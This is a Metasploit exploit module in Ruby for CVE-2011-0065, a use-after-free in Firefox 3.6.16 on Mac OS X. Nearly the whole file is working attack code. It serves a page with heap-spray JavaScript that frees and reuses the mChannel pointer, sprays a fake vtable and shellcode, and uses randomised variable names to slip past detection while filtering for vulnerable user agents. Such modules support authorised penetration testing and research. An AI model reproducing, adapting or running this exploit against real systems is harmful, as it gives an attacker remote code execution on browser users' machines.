Mozilla Firefox 3.6.16 mChannel use after free Vulnerability



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::Remote::BrowserAutopwn

    autopwn_info({
        :ua_name => HttpClients::FF,
        :ua_minver => "3.6.16",
        :ua_maxver => "3.6.16",
        :os_name => OperatingSystems::MAC_OSX,
        :javascript => true,
        :rank => NormalRanking,
    })

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Mozilla Firefox 3.6.16 mChannel use after free vulnerability',
            'Description'    => %q{
                    This module exploits an use after free vulnerability in Mozilla
                Firefox 3.6.16. An OBJECT Element mChannel can be freed via the
                OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel
                becomes a dangling pointer and can be reused when setting the OBJECTs
                data attribute. (Discovered by regenrecht). Mac OS X version by argp,
                tested on Mac OS X 10.6.6, 10.6.7 and 10.6.8.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'regenrecht',                       # discovery
                    'Rh0',                              # windows metasploit module
                    'argp <argp[at]census-labs.com>'    # mac os x target
                ],
            'References'     =>
                [
                    ['CVE',    '2011-0065'],
                    ['OSVDB',  '72085'],
                    ['URL',    'https://bugzilla.mozilla.org/show_bug.cgi?id=634986'],
                    ['URL',    'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html']
                ],
            'Payload'        =>
                {
                    'Space' => 1024,
                },
            'Platform'       => 'osx',
            'Targets'        =>
                [
                    [
                        'Firefox 3.6.16 on Mac OS X (10.6.6, 10.6.7 and 10.6.8)',
                        {
                            'Arch' => ARCH_X86,
                            'Fakevtable' => 0x2727,
                            'Fakefunc' => 0x2727001c,
                        }
                    ],
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'May 10 2011'
        ))
    end

    def on_request_uri(cli, request)
        # Random JavaScript variable names
        js_element_name      = rand_text_alpha(rand(10) + 5)
        js_obj_addr_name     = rand_text_alpha(rand(10) + 5)
        js_sc_name           = rand_text_alpha(rand(10) + 5)
        js_ret_addr_name     = rand_text_alpha(rand(10) + 5)
        js_chunk_name        = rand_text_alpha(rand(10) + 5)
        js_final_chunk_name  = rand_text_alpha(rand(10) + 5)
        js_block_name        = rand_text_alpha(rand(10) + 5)
        js_array_name        = rand_text_alpha(rand(10) + 5)

        # check for non vulnerable targets
        agent = request.headers['User-Agent']

        if agent !~ /Intel Mac OS X 10\.6/ and agent !~ /Firefox\/3\.6\.16/
            print_error("Target not supported: #{agent}") if datastore['VERBOSE']
            send_not_found(cli)
            return
        end

        # Re-generate the payload
        return if ((payload = regenerate_payload(cli).encoded) == nil)

        payload_buf  = ''
        payload_buf << payload
        escaped_payload = Rex::Text.to_unescape(payload_buf)

        # setup the fake memory references
        my_target = targets[0] # in case we add more targets later
        fakevtable = Rex::Text.to_unescape([my_target['Fakevtable']].pack('v'))
        fakefunc = Rex::Text.to_unescape([my_target['Fakefunc']].pack('V*'))

        exploit_js = <<-JS
        #{js_element_name} = document.getElementById("d");
        #{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink);
        #{js_element_name}.onChannelRedirect(null, new Object, 0)

        #{js_obj_addr_name} = unescape("\x00#{fakevtable}");

        var #{js_sc_name} = unescape("#{escaped_payload}");

        var #{js_ret_addr_name} = unescape("#{fakefunc}");

        while(#{js_ret_addr_name}.length < 0x120)
        {
            #{js_ret_addr_name} += #{js_ret_addr_name};
        }

        var #{js_chunk_name} = #{js_ret_addr_name}.substring(0, 0x18);
        #{js_chunk_name} += #{js_sc_name};
        #{js_chunk_name} += #{js_ret_addr_name};
        var #{js_final_chunk_name} = #{js_chunk_name}.substring(0, 0x10000 / 2);

        while(#{js_final_chunk_name}.length < 0x800000)
        {
            #{js_final_chunk_name} += #{js_final_chunk_name};
        }

        var #{js_block_name} = #{js_final_chunk_name}.substring(0, 0x80000 - #{js_sc_name}.length - 0x24 / 2 - 0x4 / 2 - 0x2 / 2);

        #{js_array_name} = new Array()

        for(n = 0; n < 0x220; n++)
        {
            #{js_array_name}[n] = #{js_block_name} + #{js_sc_name};
        }
        JS

        html = <<-HTML
        <html>
        <body>
            <object id="d"><object>
            <script type="text/javascript">
            #{exploit_js}
            </script>
        </body>
        </html>
        HTML

        #Remove the extra tabs
        html = html.gsub(/^\t\t/, '')
        print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
        send_response_html(cli, html, { 'Content-Type' => 'text/html' })

        # Handle the payload
        handler(cli)
    end

end